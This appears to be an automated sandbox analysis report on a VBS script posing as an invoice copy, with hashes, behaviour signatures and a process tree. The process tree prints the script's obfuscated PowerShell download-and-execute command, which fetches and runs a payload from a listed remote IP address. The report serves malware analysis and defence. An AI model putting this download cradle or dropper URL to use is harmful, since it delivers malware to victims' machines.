Analysis

  • max time kernel
    148s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-12-2024 06:45

General

  • Target

    WROO2_Invoice_Copy.vbs

  • Size

    509B

  • MD5

    ac62735aa02614b0c7fee7df55e0da9b

  • SHA1

    e173edb6949226372dd3eedc47d9369b26ee5577

  • SHA256

    48951f6847400dd39cba2f5ba0376e08bb4b7e36a4c3567792289734758b7bf9

  • SHA512

    1867116e4f375b98d653617682937fdacfd0892b5f3b3246cf612bca00407829ce55d725a4e8daf712323e9408a55d31fc2a8cc5696357ce9b4bc969de6cc709

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://52.27.15.250/A/behdhdjdj.txt

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\WROO2_Invoice_Copy.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:316
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" &('{1}{0}'-f'X','IE')(&('{1}{0}{2}' -f'je','New-Ob','ct') ('{1}{2}{0}' -f 'WebClient','Ne','t.')).('{2}{3}{1}{0}' -f'dString','nloa','D','ow').InVoKe('http://52.27.15.250/A/behdhdjdj.txt')
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1876

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3hae1ouy.hoc.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/1876-0-0x00007FFC0E973000-0x00007FFC0E975000-memory.dmp

    Filesize

    8KB

  • memory/1876-6-0x00000231F89E0000-0x00000231F8A02000-memory.dmp

    Filesize

    136KB

  • memory/1876-11-0x00007FFC0E970000-0x00007FFC0F431000-memory.dmp

    Filesize

    10.8MB

  • memory/1876-12-0x00007FFC0E970000-0x00007FFC0F431000-memory.dmp

    Filesize

    10.8MB

  • memory/1876-13-0x00007FFC0E973000-0x00007FFC0E975000-memory.dmp

    Filesize

    8KB

  • memory/1876-14-0x00007FFC0E970000-0x00007FFC0F431000-memory.dmp

    Filesize

    10.8MB

  • memory/1876-15-0x00007FFC0E970000-0x00007FFC0F431000-memory.dmp

    Filesize

    10.8MB

  • memory/1876-16-0x00007FFC0E970000-0x00007FFC0F431000-memory.dmp

    Filesize

    10.8MB

  • memory/1876-19-0x00007FFC0E970000-0x00007FFC0F431000-memory.dmp

    Filesize

    10.8MB